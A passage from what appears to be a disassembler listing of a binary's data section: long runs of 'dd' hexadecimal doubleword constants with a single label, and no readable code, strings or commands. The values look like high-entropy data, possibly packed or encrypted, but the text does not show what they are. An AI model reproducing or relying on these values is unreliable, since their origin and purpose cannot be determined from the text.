0A4A004E9h, 50FD070Dh dd 0B2483869h, 797FDBA1h, 26F7C9E5h, 0E9136608h, 8551F5E6h dd 8AEA5713h, 0D0E90C9Fh, 0EED59DC6h, 0E59A6986h, 0AFAC0644h dd 7237554Ch, 5DF842BDh, 78E716B9h, 0F6CB5B31h, 0B876E85Fh dd 8B532CE9h, 0CCEE9D1Ah, 0F80F758Fh, 585ECBFCh, 0BC26DBF3h dd 0EB38B13Eh, 0F67D81E2h, 0B4A6D0E3h, 1077EC3Bh, 0EA40EF18h dd 47F404Ch, 0B6BA54Ch, 1856EC68h, 97CBB5F9h, 0D41E0FD8h dd 55D548Ah, 5D08649Ah, 3F8669E1h, 2CEE6A85h, 425482A4h dd 6C90C2AEh, 0FC36DC0Bh, 0B2C98563h, 0F56CDCEBh, 928B5E4Eh dd 4F4E2C50h, 935FB8C0h, 2E15D9EEh, 0E9A1D0E8h, 3019346Ch dd 66A8FD4Ah, 1251531Fh, 0ED3DC459h, 4AD1D53Eh, 3D952D61h dd 2E552D02h, 1C9EA0B6h, 57051h, 9F73FC5h, 0DC68E801h dd 8F327A5Ah, 7C3142FBh, 5A3E03A5h, 0C040483h, 48C83529h dd 0D4FB2FAh, 0E2EC19E9h, 0A3F3CC83h, 9C4A0927h, 172E52AFh dd 0F8802C3h, 0A0FF2A80h, 562EF2C0h, 52470491h, 8DE185E9h dd 70E6CD85h, 0B481F10h, 64E9167Bh, 4205AB5h, 0DD3A2D16h dd 41295176h, 223998C8h, 534DBF33h, 9209A235h, 6598DC35h dd 0A0DED4DFh, 77139FCCh, 4EE0EF7h, 56C73155h, 6C46D08h dd 0E5976859h, 445F7BF6h, 92D04B75h, 2F6C562Bh, 0E75E0916h dd 1E53442h, 6E604E68h, 8682152Dh, 19C10434h, 5B58468h dd 253F4AB1h, 2A13498Eh, 58F09D12h, 87EFD10Fh, 7A6F25CFh dd 0BDAA1CC8h, 0B759E542h, 86F376CBh, 9AF332E9h, 65CA882Ch dd 73AF8024h, 96B18ED2h, 2F664C11h, 0EDD1A08Fh, 7E0F7E5Dh dd 1CFD487Dh, 135F0840h, 212E67E9h, 0E746AEh, 27540B35h dd 5B5C6F07h, 9203B8C8h, 18232565h, 0C34EF33Ch, 278B02ECh dd 1DC59BF6h, 9AFE1488h, 6449F19Ah, 5509C4C6h, 0B300CFAAh dd 37E94131h, 923A3E9Ch, 0D69DEF68h, 205AF37Fh, 911CA9CBh dd 0B307072Fh, 93DE074Bh, 0D81DFCE0h, 0CDD3C3B2h, 881F23A8h dd 0ECC68EE6h, 0E35E171Ch, 36E31CDDh, 7409084Dh, 4FF7FAC0h dd 93ED12F6h, 341259ADh, 0F20EADCh, 1AF31A4h, 0BD554B46h dd 70215DE6h, 1F4025F6h, 5F63EC4Ah, 0F526A8F1h, 9FEB0285h dd 30ED5A33h, 3E955C1h, 5F128639h, 0F647D689h, 6ABF6E11h dd 0F21FD9A6h, 0F9C5832Fh, 0A4F96911h, 5857E941h, 0AE0C0405h dd 62F2BEBDh, 97C8D0D9h, 0B5C2120Bh, 5204E192h, 7A394B20h dd 0D847BD27h, 0F0E14B12h, 7E919F62h, 760EEA03h, 0C04462Dh dd 23386CC0h, 5883D7C0h, 0E01C4C94h, 6081C68h, 3FD97AE9h dd 2384C707h, 56B42E7Fh, 5DFC43D5h, 3B87D10Ah, 282624D7h dd 14080025h, 0E98134C2h, 0EBE4BA5Eh, 0F5D4409Fh, 83C08270h dd 323E2E25h, 401DC031h, 0F0EF0581h, 5CEA38B5h, 685B7E1Fh dd 892D92CCh, 46D60FEBh, 0C36403F3h, 4816B916h, 3AC54B61h dd 420020A8h, 0E93D9A2Ch, 0D58227CCh, 8F358860h, 0FE678B09h dd 39467D29h, 7AEF597Ch, 0E9126EDAh, 0D09B85CAh, 0E57EA7B7h dd 35E1E24h, 12A9BD58h, 0A07C2E57h, 0FE44ED08h, 8550CE7h dd 0D6A81A32h, 1216A424h, 5FC6AC0Dh, 6874203Fh, 0B295262Bh dd 88AF41FDh, 0F7163776h, 0E1BAB8F9h, 276E329Bh, 0F8FF8413h dd 64B90023h, 8115202Dh, 7EE804F1h, 0EB3148F6h, 0D6E25DC0h dd 79F50267h, 0CC55E953h, 0C80FABD2h, 66830E41h, 9D9931BFh dd 0BCE54FE3h, 0EA011A91h, 5712C91Eh, 265568D4h, 26112D9h dd 1EA6469Fh, 26396076h, 943F9F5h, 97325AC4h, 0A0B8F56Ch dd 0DBB75E59h, 2B711DDh, 7FACBA52h, 402E363h, 9B48BD6Ah dd 0E73EC24Dh, 502F0C66h, 0E0C77EB8h, 4B62387Fh, 1FDE92Dh dd 12CA68BAh, 0A49E77C2h, 9596E975h, 0E5D7B10Eh, 0A64B2510h dd 305F76A7h, 0D9123C2Eh, 0E9296D1Ah, 0E0080AA2h, 0F8D35F1Ah dd 71D095ACh, 0AB29E609h, 15807D4Bh, 14D71251h, 5BFFF980h dd 0AB17BBF7h, 2BC579ABh, 0FFD3B2BDh, 80C1C28Dh, 9CE8C58Ah dd 14B981BAh, 809A6435h, 3A4E65B8h, 90F92912h, 600882DCh dd 9719D14Dh, 8A681538h, 0DE783948h, 717CA53Fh, 532881FFh dd 0F85E46F1h, 1FB66DB7h, 3F19F6C0h, 56350036h, 526F02Dh dd 0A8F47838h, 1BEEE91Ch, 1A34D725h, 0A7B60BFh, 0BD764A0Bh dd 0E6C10B5Eh, 0E7628405h, 2A8ED9AEh, 0D316EAFDh, 0E9A38C76h dd 2770C949h, 0B5724657h, 4CC8F4D8h, 4FD82566h, 7FB9764Eh dd 8813B582h, 0BC905DC0h, 9E43F582h, 5C17DCFBh, 3040D159h dd 2506A6C7h, 0A00CC161h, 7B44148Ah, 0D9840ADh, 0BCB675E9h dd 8CFE7E92h, 0D4987D1Bh, 0D040D99Eh, 5B18234Dh, 2B03E129h dd 0C5595E6h, 5173E02Fh, 482FE790h, 26B9DB1Ch, 0BE512F4Ah dd 0ECA47397h, 5F7E0CF6h, 900C2DDBh, 302E7A16h, 23C1910Ch dd 0B4F1BC2h, 6EE328CBh, 0A0CE9D40h, 0A78C493Fh, 0A2C5A89h dd 61D85B50h, 203516A3h dd 8CDEFFF3h, 194F457Bh, 21BD9780h, 50F0BF72h, 7E683025h dd 3CC15AD9h, 3D85296Ah, 74277987h, 0E022F6D9h, 0C78833B0h dd 5250581Dh, 251FE49h, 0F4EC9C5h, 8D0FC300h, 0A395C095h dd 8DE93B30h, 68092DFCh, 60461E47h, 4E56C009h, 31E48079h dd 90116239h, 3E0C011Ch, 0D5E946FDh, 9E8A2A43h, 0A4087662h dd 9D00A564h, 0B969DB25h, 37F10918h, 9B783133h, 3EC51410h dd 16772D3Ch, 9113EF01h, 8AAEFB52h, 0EDA05B7Ch, 3DA56E71h dd 362C7C2h, 9EF1DD80h, 599D521Fh, 74311EBFh, 1EF1EE28h dd 0A4879E43h, 0D15902FBh, 0A1DC43E3h, 0A3590882h, 267EF622h dd 43F32729h, 2F993208h, 52C2FFE2h, 0BF006CDEh, 3CA279A7h dd 73F907B9h, 533130FBh, 9403495Fh, 5CB42CC8h, 1809AC29h dd 0F73BA05Dh, 4F170E02h, 2AD08BA0h, 1A98F34Bh, 8ED4D324h dd 63086F6Ah, 0CB8100D8h, 700858FBh, 4D094790h, 86778C62h dd 76070211h, 3AEB0981h, 49802CF4h, 17B49C8Ch, 0E9C63104h dd 3FB9657Fh, 0C84911Ah, 9F2DCDFFh, 0E260D268h, 0A30BD617h dd 801FFBF6h, 0E529F205h, 9D30E94Ah, 23CDFD0Dh, 6D3B3D3Fh dd 3D316AAh, 8061B551h, 12D9CBF5h, 686E341Ah, 1848BB25h dd 901F9B66h, 0B125008Bh, 0F344E05h, 2196DE80h, 26AF3501h dd 88ED37F4h, 0F74648F2h, 0E8C12DD0h, 0C80CB276h, 121E9FA7h dd 0F9BDF1h, 15369ED2h, 0ED068157h, 309C4592h, 52EC080Ch dd 93A3278h, 766CC86Fh, 0D108A050h, 0A17C140Ch, 36945B20h dd 351FCFB3h, 21E7401h, 26C1E908h, 5E2FD279h, 0FCD592BDh dd 0E24A77C8h, 1BA38BEh, 45ABCA4Bh, 40F19247h, 6C06EABEh dd 0F137DF3h, 3B13C8Fh, 4A0B9464h, 84EAF902h, 44188644h dd 5BC0156Eh, 0DCB15FFBh, 0E15B5AB4h, 3105FCFCh, 0E7B11FD2h dd 0E0C19441h, 0A804142Fh, 0C1FEA35Ah, 5DD3C0C6h, 26A7CCF8h dd 840DFF78h, 0B851D406h, 0E95661F7h, 923BA638h, 57FC027Ch dd 85108482h, 0D864F7AFh, 994B1098h, 68098EF3h, 1EFD7569h dd 0EBF520C4h, 0BA68660Eh, 4D9976Ah, 0F6DBD02Ah, 0C05FDFE9h dd 20FA2726h, 8627A471h, 32FCE5C2h, 0A5DD7E32h, 0C8AFDB61h dd 751621A0h, 0E3B1B608h, 14CF1280h, 0E9487F25h, 2FAE7CF1h dd 9254765Ch, 6001B13Bh, 7F1310A8h, 4EBF72C4h, 1481F87Dh dd 30D129C7h, 0C4B7040h, 4E0E859h, 60A3976Eh, 0F1A7716h dd 61188E19h, 0D2414326h, 2F2DEB3Ch, 0BAAC2002h, 0D5DE8906h dd 0FE0A4E3Fh, 0DE99D51h, 0FD3A5ADCh, 22E70491h, 43C416B4h dd 0CB59FEB8h, 0F440A897h, 0E99BD8FFh, 80B69F2Fh, 0E52628EFh dd 9006B77Bh, 609F558Ah, 9DF08B7Bh, 84952051h, 0EF680C91h dd 6290A30Dh, 295924DFh, 209F8682h, 2C50ACA9h, 3D199780h dd 0E492D99Fh, 5161BB56h, 413EEC5Ah, 4442857Ch, 0CCE22140h dd 29716770h, 804DD41h, 0BF88BABh, 0E88B99E9h, 0CC1814Ch dd 0B890D40h, 8CECE80Ch, 3CE6334Eh, 0E2AF102h, 0E30F74D1h dd 64B8A21h, 4818EB0Ch, 4E013C60h, 68BC953Eh, 0B38957A0h dd 6455E761h, 1619E687h, 0F1592F62h, 90F06D46h, 94A64EF8h dd 40BC7819h, 230870ACh, 0BFFCD195h, 0A8C8C5ACh, 0B35EF213h dd 0E12F178Bh, 0F5F62EA4h, 1B4EEA4Fh, 9153E6CFh, 1E215A0Eh dd 9FD42F9h, 0D4C22080h, 0AF45F65Ch, 10523B0h, 15F77F79h dd 0EC07612Dh, 0C64C014Ah, 46CE2C3Ah, 0E3FB603h, 0D8688859h dd 0B71ABF7Eh, 94260571h, 0F18A08h, 0D0276E2Dh, 0BD000D4Eh dd 253DC341h, 4FDD46C5h, 190BA058h, 2E9B510Bh, 0A8588135h dd 4A3029F4h, 0BEF24004h, 123DAAB8h, 54372617h, 0B54EDAA8h dd 0A4050817h, 5FD5CC64h, 53C12005h, 854524FFh, 1348B2CEh dd 27AFF4ABh, 2FBC8258h, 43B33AF7h, 0BD6100D9h, 6B637F42h dd 4669F581h, 2BAB560Dh, 0EE9344BAh, 0B50EC4D8h, 0C240601Ah dd 92243770h, 91036871h, 0F88E6DC8h, 0B2B0E9E8h, 0BB585A28h dd 5BB9A528h, 0DF31B2F2h, 51D57549h, 78002F12h, 0FA225C5h dd 5AD02117h, 0E0334EEBh, 0D39FEC77h, 0D3870307h, 3942A2h dd 8B0FE0D1h, 25FB312Fh, 0A5402059h, 1D75BEC1h, 9F89F61Ah dd 0B6528968h, 0C6FEB403h, 936BF680h, 0EC0E5ED6h, 55F87A76h dd 34DAE917h, 0CD2F01F3h, 0ED801A01h, 2072BA6Dh, 0E5C00214h dd 0DE29E906h, 8B2D0ACCh, 7CF5EF9h, 652E0ACDh, 0E805AB09h dd 0AEF4BBDFh, 0DA721EA4h, 5B8FCDFDh, 0B1F78C51h, 0DC52764h dd 1FBD63B8h, 93173EDEh, 7E82CFAh, 6FFBB47Ch, 0F145A9DCh dd 0C80EA67Bh, 9DDA52EBh, 8402A70Dh, 420D545h, 9C939AA2h dd 0F10D16E5h, 0DAF42151h, 0F03070C4h, 0F5ED5B22h, 69F82D33h dd 0E06EAE55h, 0E975AB1Ch, 41B34B5Bh, 3449437Eh, 9C05D327h dd 0EF798E7Ah, 0E47FF1ABh, 77A4905h, 181EAEC0h, 0CB29698Dh dd 0A0F0C084h, 53515B05h, 0F5BAF388h, 1C0FFCD7h, 0FA114CA1h dd 1F09D65Ah, 5F052B47h, 805B4C2h, 85DAF25Dh, 0B221315Ch dd 6800B355h, 65C509EBh, 728A939Bh, 0A3CFFC5Ah, 2AE80557h dd 8565F00Dh, 596BA0A7h, 8F6040B2h, 35CD81B5h, 733F265Fh dd 0AFFE69BCh, 0FEB2E0Ch, 4913FCE3h, 0BD895256h, 0AB5239A4h dd 148BFA61h, 0F53CA83Bh, 0D60567BFh, 0C7382337h, 87B7E25h dd 0EED32C2Fh, 437CB55Dh, 0B708C556h, 5604AF32h, 30EB8B0Ch dd 750F696Eh, 79FC794Fh, 8612470Eh, 0C9C9FE52h, 129F6F0h dd 0F5D247Ah, 3FCEA88Dh, 0A00780D2h, 8BC5887Fh, 805B00C7h dd 870FF5CDh, 0DA93FE26h, 0D556EEB4h, 0A32F01AEh, 7E2F2D0Eh dd 4F4033F1h, 5F18F0EEh, 0C2A3E404h, 0AF8D654h, 0BF27714Bh dd 0F603A382h, 0B68A62FEh, 0C193DB23h, 7D3F1A7Ch, 9E383A25h dd 0E61730E9h, 0BB32F3FFh, 0C0A41025h, 0B7EF41BBh, 0AFA5C271h dd 2FD8A681h, 0ECDD5C81h, 0EB0F3525h, 59053FA7h, 0DD2074E6h dd 386897AAh, 0F40943CBh, 0D95D5A37h, 9B09EB5Ch, 6F04E769h dd 0A3B58BB8h, 68E9122Fh, 0EE0506B2h, 0BE096E05h, 0E9E156DDh dd 0C479FC3Fh, 0BDF9C821h, 0AEDCA485h, 9944A69Ah, 103E6062h dd 580C2FBFh, 0FB894D09h, 1404575Fh, 0B88DD0F5h, 0F30B6511h dd 87C5017Fh, 35F2CD17h, 98A55AE5h, 52A09537h, 6AD9F0C2h dd 0ABA8105Fh, 8759884Fh, 58AF7D12h, 563E5501h, 0C827446h dd 2FA860F2h, 800DD0F7h, 6573E908h, 0EB5D64F0h, 4D48AEE6h dd 0A45FD613h, 341317Bh, 85BFBD3Fh, 0ADF27935h, 0CEF68B8Eh dd 10B64D77h, 8001B0FDh, 0B75367E2h, 6532ED7Bh, 0EEC28223h dd 87DF5FD3h, 23E5F58Ah, 0F26697D2h, 12172610h, 3E092052h dd 95798702h, 18F9580Eh, 59E90844h, 9E5F9621h, 0AAE93F42h dd 0F1B78AA3h, 4DFB6064h, 460C732Fh, 4A01EAE9h, 366A00B8h dd 3E2D1F51h, 1000B772h, 0B784B0Dh, 2C923565h, 92E6CB2h dd 7451C484h, 3A3244Bh, 0D12185B1h, 16D6E67Fh, 1DBB1886h dd 34F79825h, 4295C361h, 9DF400Eh, 344F2478h, 6F4D04CCh dd 4982AE76h, 0B88954E6h, 0F63853B0h, 0D44C88D2h, 0D0EE17EDh dd 0F25BF84Eh, 1C585FB9h, 0F0B4B15Fh, 0B03F5053h, 0E24EAF34h dd 0AECD7D23h, 0FA56E904h, 0E3D68AF8h, 0C0F25A66h, 2531D01Ch dd 973D71FBh, 278DD6A1h, 97A967E4h, 0D9A743DBh, 18E9E171h dd 62DA57C1h, 0BBF77799h, 504104B2h, 0BB089068h, 9B92CF37h dd 533EA313h, 342ED052h, 0C21E5EA7h, 29F1C7CEh, 5D3309Eh dd 3EDCF00h, 4A13880Fh, 92EDA6E2h, 0EB463F04h, 413110C2h dd 9B3889F0h, 2B5F6818h dword_5267F4 dd 7A9559CFh, 3A1E0238h, 0DBE93F13h, 0ABD71A50h, 0BC8465BCh dd 73762988h, 2A4AAB10h, 9A25BB31h, 0E923D4F9h, 0E950F476h dd 7D8095A8h, 15D4ABEh, 0FF536D24h, 0F62DBC0Bh, 0A512515Fh dd 0E6857089h, 39CA036Fh, 0EBBD555Bh, 0AE6141DAh, 2E0735EEh dd 2B12DF3h, 14659353h, 6B686A80h, 4CAA4C50h, 26875F10h dd 0FA00874Ah, 0B8DE34BAh, 0BD04050Fh, 0CED0290Bh, 0CCEB032Fh dd 5114F7Eh, 0E577F30Ch, 5350AB51h, 140C6808h, 0CB795814h dd 5C1641C9h, 2DE1283Ah, 216EE91Ch, 5F80145h, 9DA80716h dd 0E55D50A2h, 0E9AF1831h, 0E61CC181h, 9ABD4136h, 0DF336F85h dd 97037A70h, 8101B53Ch, 0AC73D8E1h, 4941240Dh, 30140B33h dd 3F0C909h, 13530507h, 945176BDh, 0DFCAFB6Fh, 3A073988h dd 9D5911D0h, 109FFECEh, 0B5EA2767h, 9258EAA8h, 2F1EF115h dd 9B110F0h, 2E1C0FAh, 0CA16C605h, 0F6924EE7h, 9D440277h dd 0A0AAA8A4h, 5AB54E84h, 7D4C3861h, 8634FA4Fh, 68DB30FFh dd 0B4134DC6h, 89045A7Ch, 64ACCF6Bh, 4BA5523Bh, 9FC79DE8h dd 65AF5318h, 0B3B7B0Ch, 0FD5D1FEAh, 0AF169A8Eh, 4E65F74h dd 0AC6EE616h, 0F5A68936h, 5573C089h, 0FD68364Ch, 0BD7B2C3Eh dd 0A8335901h, 2B1AE944h, 0D03A457Bh, 0D99DFFDAh, 0E104E56Eh dd 6D22BC9h, 72C2DD72h, 3AD75714h, 8FC465F2h, 0A4CFA83Ah dd 2D63982h, 9561D131h, 36860537h, 0EC4D4EE3h, 0EFF51C98h dd 5DE7D5Ch, 82FA214Bh, 822DE81Fh, 0A07BE907h, 0EA815FD5h dd 0D94C1FA4h, 3DA0C6Fh, 5C0BBDE5h, 0F824F338h, 122D9851h dd 0AA52EB7Ch, 91C7A302h, 31E375DDh, 6DE4401h, 0ACE943F4h dd 0EEB8F380h, 56208875h, 8A16BE00h, 46E9DF77h, 0CAC3A801h dd 5E787D1Fh, 47A8B07Dh, 0EF55404h, 2CBD531h, 0B2E98861h dd 111D7945h, 0EF3E5962h, 0A4FEE096h, 0C80761DDh, 0DD896588h dd 10E86FD4h, 5808BC5Eh, 0EE3E73B0h, 47619B2Ch, 10D9D88Dh dd 0C506B7Eh, 66B09072h, 5B9C24B7h, 0CEC698ABh, 0B042FA40h dd 0F99A6BD8h, 0BFF29D40h, 621F4512h, 915810AEh, 8D8FAC04h dd 94E7BB9Dh, 0C84E6948h, 0CD60DE90h, 63A4BA0Ah, 0F51A5F80h dd 1604CCB2h, 504BE530h, 5B2DC049h, 4C26F88Ah, 918684D2h dd 7922BF0Eh, 64F71EBDh, 4A600E15h, 0E7C3099Ah, 358A6CC0h dd 0B6301157h, 0FE1D34FCh, 0CB3709F7h, 40FF744Fh, 0B92B83EFh dd 312DBC10h, 4B7CA489h, 9441BE82h, 0C5F7DC6Dh, 0B9DE40C2h dd 737754BBh, 570901BEh, 0C1C76ABFh, 303E433Eh, 0C777F4AEh dd 0FAE495Bh, 290A8E36h, 0DB088B8Eh, 50833932h, 972533F5h dd 0AD0BFC12h, 2B628271h, 0F6350051h, 0E27AABFFh, 33F3B35Fh dd 825EA558h, 0E27D5F09h, 44727307h, 0CAEE1683h, 4E45BFBh dd 5F17E68h, 0F9E953A1h, 8942FA18h, 646A4216h, 0C23E4E17h dd 9B7B5DF1h, 2E665343h, 9FF87E90h, 0BF4F308Dh, 48619B36h dd 0AB1E8F9Ah, 0E049A06Bh, 37D15519h, 97C0AA54h, 6CE913B5h dd 358629DBh, 84466DEDh, 0F243ABB2h, 77F2378Bh, 0CDE9C9E3h dd 0FAF4F7B8h, 9757EC2Bh, 34CA7613h, 0CEB5AB85h, 4E78E662h dd 74239CBFh, 730A0616h, 0E0074BAh, 98325F0Ch, 0C85A8526h dd 0F91495CFh, 60075690h, 0B30E321Dh, 1626FD29h, 15082953h dd 20681A7Fh, 0FC60DEDEh, 1B26AC2Fh, 335A60E9h, 0D74EF5D8h dd 4921612Dh, 0F934D4CEh, 0F1222DE9h, 0B5CD9E1Bh, 450C8C29h dd 13C28F2Ah, 0B83E3D61h, 0DE981622h, 8AF1BB34h, 0B37FE7E5h dd 32C793Bh, 0D953D490h, 0E26E4A55h, 0B4C21E44h, 41658089h dd 21285FA7h, 39D1FED3h, 0D011AA15h, 0DC567A10h, 5E9F7CFFh dd 305B740h, 61CAC119h, 0D1E2C289h, 0F6EAC190h, 0EDEB6516h dd 0CDD84FAFh, 67AF58C2h, 0E71509C1h, 0EBFD9883h, 0EA02B1F6h dd 568618EBh, 640C7876h, 9FEE8366h, 0D390215Ah, 64D8CA97h dd 2ADE2FFDh, 83290C94h, 8180A9BAh, 482D66F6h, 2DF6B36Eh dd 7CB73EE6h, 0EDE94112h, 0C80524EEh, 7AF3FDEFh, 445B0AF2h dd 0BD01140h, 2DDFFC01h, 0E98B8FC5h, 9D3044B4h, 0CE7AB2F6h dd 1F492207h, 51B87EF5h, 8BDD6BB2h, 9556949Fh, 5C407B60h dd 0E9484A04h, 20FEF8FFh, 29842DAEh, 4CA8C72Dh, 0F906C19Dh dd 0A84D615Fh, 7D695DA5h, 95A9753Bh, 0DD803300h, 95A8B63h dd 0ECA4ABD0h, 0BBDF5E35h, 0AAC60900h, 2CEB509Bh, 16B8F309h dd 0C2FEB4BEh, 0C34A990Bh, 0E8EAD569h, 3FB2C5D5h, 0EB053B18h dd 0DD821F0Ah, 0D4BF2ACCh, 8FE95854h, 80A8C052h, 0D5325C2Dh dd 35DAB550h, 3409CB00h, 67E9420Eh, 0F633D8A2h, 0A43221DDh dd 82F3AC37h, 682FE907h, 95515865h, 591C74F2h, 76EFEA88h dd 0F12308B0h, 5AD00802h, 9F61D5C0h, 0EC533F6Eh, 2087A8C1h dd 855A396h, 68064C6Dh, 26C330BCh, 52AF6CE8h, 0BA3C9061h dd 9F0B6A21h, 48C8F32Dh, 6AE700C3h, 0FE010E7Fh, 882A390h dd 28284B8Eh, 149E801Dh, 57644A09h, 0BB424794h, 0E9D82904h dd 0B2E4B037h, 30286926h, 8F178016h, 0AF21C5EFh, 464470Bh dd 31AAB9F0h, 40A7DDBBh, 7FCCBB8Fh, 0B0686028h, 13405D1Ch dd 2C74E9C6h, 4A222EEBh, 0F878C40Dh, 0A094D85Ch, 3EED0364h dd 730B8BBDh, 0BAF0E0E5h, 13AD3000h, 5DEA29AEh, 21E91357h dd 5F2690BFh, 40508511h, 3D05AD94h, 0FB011D53h, 357FDE18h dd 7D5A1616h, 60C0907h, 0D856B241h, 4DB69C17h, 91396A80h dd 68352Ch, 2D7A664Bh, 332B628Dh, 95F00095h, 0BD1A5C07h dd 2F5DBF89h, 57184990h, 5E9D3C1Ch, 86BE8B2Ah, 941A57Eh dd 59205AD7h, 0B82EFEA1h, 7DC206E3h, 0C57B806h, 93659408h dd 0D78A3947h, 13E79540h, 0D1584FCBh, 160ADCB4h, 17FB323Fh dd 0D139AEBCh, 43BF6F9h, 0CB545118h, 10695851h, 0BD2D0509h dd 0CC804171h, 297B5A3Bh, 69DEB7E9h, 0E9012674h, 4B202020h dd 7F2BB65Dh, 4F5F0D48h, 0FFC167A2h, 30B95132h, 315C42EBh dd 0FC6801Fh, 46292F9Ah, 590C404Ch, 7435C5A1h, 7195BDC0h dd 0C66E0B38h, 908B96DEh, 4260F916h, 9877B521h, 28055C1Dh dd 5F8D5B8Dh, 0B0A913D1h, 0FC59181Bh, 7C250194h, 0C78946C6h dd 82085660h, 78A0B2C0h, 0F6AAB02h, 4884EE85h, 829AF8EFh dd 13E4F7h, 0C42EDCB9h, 0F1814114h, 305EAF0Bh, 20D8DE52h dd 3FD913A0h, 805782D0h, 0D7C1B19Bh, 0D1F5C260h, 44A95289h dd 0C9C26EFCh, 62C15C18h, 5D02A5BCh, 4928D95Ah, 0F5EE96D5h dd 0B8389205h, 446810FDh, 24015A06h, 928681EAh, 0C2500BCh dd 9F454C29h, 1D017610h, 257CEF83h, 0C8DD0988h, 0B48FDD3Eh dd 0CCE2802Ch, 0F3AA84Bh, 0CF7B8012h, 65D0D827h, 27E9410Ah dd 3955D777h, 7FF2758Fh, 6B81DCB2h, 6ADE187Bh, 13976FB0h dd 81168374h, 7FF84247h, 2AC06D5Dh, 105791Dh, 858D0D1h dd 902597Dh, 61A24E60h, 25F61195h, 27545A97h, 5554361Ch dd 8296CD58h, 0AFDF0162h, 0F2586462h, 0C93FBE9Dh, 5EA4FAC2h dd 280EEC52h, 0C40F75EFh, 6499EBEEh, 815F6FC8h, 163B223h dd 4AA31F8h, 0C8F49108h, 801427B6h, 332DC829h, 69DE0010h dd 55685659h, 2F01FD5Fh, 71CE815Eh, 46E42B03h, 0E11335E9h dd 0A9D4BB8Ch, 5D6972C2h, 599D6BB6h, 595626Bh, 0FD9F600h dd 1B286389h, 8CC0C1FEh, 69B1FD7Ch, 0D55AA4B2h, 26CF08FBh dd 3461BC43h, 9A6A48Ch, 0E22D6F28h, 0D27DC851h, 1F50BF94h dd 473494F6h, 0B14C9552h, 1FF66BB2h, 36A0E9C2h, 256F0D5Ch dd 57D0DC10h, 28E236Ah dd 65A0353Bh, 126028A9h, 0B588536Bh, 2B018178h, 967E9EE9h dd 8A9CA8Bh, 6827A711h, 3E5F476Eh, 4099BA56h, 20ED9548h dd 2E9C5D39h, 0DAD2D42Dh, 7591CC5Dh, 0B920C043h, 78CC1217h dd 6E18100h, 874C7432h, 0D7F728F9h, 0C8EF44F5h, 509AB7EEh dd 45EF885Eh, 0ABA3D088h, 705640C8h, 0F006E1CCh, 8129E300h dd 3E0C79F7h, 9EE4C134h, 3E8AB1D1h, 2CE93BA0h, 5132CC71h dd 11C68052h, 0BA447E14h, 290BC615h, 9F4066CAh, 20779030h dd 0FF8B295h, 60CB1556h, 91B8887Ah, 0F831142Eh, 0AF17AC5Fh dd 4B42F63Dh, 0F18929E9h, 4B0DCC78h, 0F5D38F0Fh, 7CF61BF1h dd 203A80D8h, 0EFB452CDh, 7DED8102h, 0FC7A2245h, 1B08A081h dd 0DFF7D9E9h, 0EC46E1B7h, 5D8F4048h, 1440012Eh, 0DC1A17E4h dd 0DB04BE6Bh, 0BF00CA84h, 13936D10h, 4AB750BFh, 1E52EAC1h dd 0AB11CC22h, 9E87EBFh, 0BB8408E3h, 0FB1EC8C5h, 38C61607h dd 52D2CE89h, 9F07521Bh, 0C405D700h, 729FDA06h, 689AA845h dd 21364BA2h, 6048B461h, 0E44F8393h, 92FA4674h, 0A22A98A1h dd 0DFE3AA09h, 0D0205296h, 0D99980D3h, 2C893002h, 6C9F930Ch dd 2B89648h, 12545338h, 20C95E29h, 0FEE91208h, 1578ADDBh dd 7850676Fh, 3B695B0Bh, 2098C40Bh, 8F903C0Eh, 1F7F9101h dd 6850564Ah, 0E99F1DF8h, 0CAE71D3Bh, 99ACB5F2h, 2F0DBE5Bh dd 8F642E0Bh, 0A25F0653h, 3DF504F7h, 8260D907h, 807F0CE9h dd 0B6E94570h, 5E45C78Bh, 28BF3057h, 0CF4D8829h, 74B4C938h dd 1D7525B3h, 0F668065Bh, 7B2D412Eh, 4A5C5CAh, 0BF35C468h dd 257D03CBh, 0BE661EA4h, 9064304h, 4A042942h, 0F0550BB4h dd 0D06C1F5Ch, 809C0C3Dh, 244ABAA9h, 2AB42121h, 1FBDC2Bh dd 0F3B610B5h, 0EE318015h, 9B5B5D78h, 0C55F3A09h, 0AC5D8D83h dd 7686601Fh, 58443B9Dh, 0EA31C867h, 50402F33h, 25B551B4h dd 9627CFCh, 0D35D89EBh, 2E183DFEh, 466D3B27h, 88AB9BD6h dd 785E42BDh, 98EFDC35h, 654AE9FBh, 0D058350Ah, 5A186D07h dd 292D5F00h, 61CB3A42h, 705D014h, 0A1FA65Eh, 0EFE6BFE9h dd 47BACF85h, 830FA781h, 0ED516C69h, 9F1588E0h, 81C4D18Fh dd 10BAE3Fh, 5CC57C55h, 3DEEF131h, 0B8540585h, 7BFBD8BBh dd 0A0584440h, 3E499CF3h, 0B171648h, 0F9B320F2h, 0DC7B52F6h dd 5B0D222Dh, 4A7BA556h, 8D7A413Eh, 55069220h, 0E0AF0Eh dd 48587FD1h, 0E28E100Fh, 0E3C44E4Dh, 2D18E9ECh, 890126DBh dd 272BC548h, 0EEB15ACDh, 0FBC34A67h, 0BE82C32Dh, 7C571108h dd 0F22EC8F5h, 506AE018h, 2C51D150h, 0B927705h, 0B5D635BCh dd 85D4B063h, 458FE09h, 0C3FB7D1Eh, 6BD180C9h, 6AB361E9h dd 7D87204Bh, 1AE0286Ah, 0BD81F5BCh, 148AFA78h, 0FA318B9Fh dd 18E6424h, 60B685Bh, 61162789h, 0C4CF7E51h, 0F3EEECE7h dd 398451F5h, 90EB0368h, 0D917732Ah, 2AADAE66h, 0EEC17763h dd 0CAE06449h, 718F2D17h, 6CE110Ah, 3F7EEE01h, 0B921113Eh dd 5A3D27CCh, 138B9403h, 0AE360C08h, 0D7042DB5h, 890672D9h dd 50949AB8h, 24C6502Ch, 19E50519h, 0C247C287h, 11048493h dd 0C407DFC9h, 0E87101AAh, 876DE23Ah, 0F942FC18h, 0F6BE5680h dd 7D90043Ch, 0BEFEB0E9h, 7C7BFA44h, 28C560F8h, 890CA8E8h dd 9D1EFF66h, 0CC3FB9B5h, 0D6DE7429h, 5E394BA7h, 96BB2FE5h dd 49A20111h, 0B577CF13h, 4F01429Eh, 5D64ED7Eh, 0B83FB2F1h dd 0CD77B168h, 7AE75A03h, 4A8C920Ch, 31A468E7h, 1F08E15h dd 0AB30FA01h, 5002E939h, 401DE5D0h, 5DDE7C75h, 0B07ED14h dd 0F1EE0158h, 96D549FCh, 0FD72028h, 0A32684E6h, 0B289E65Fh dd 6A7E0009h, 2F59EA28h, 0AD92D388h, 0FFDE0C0h, 0D8E5D180h dd 768D546h, 2F473618h, 264E2DEh, 0E92ED435h, 820F133Ch dd 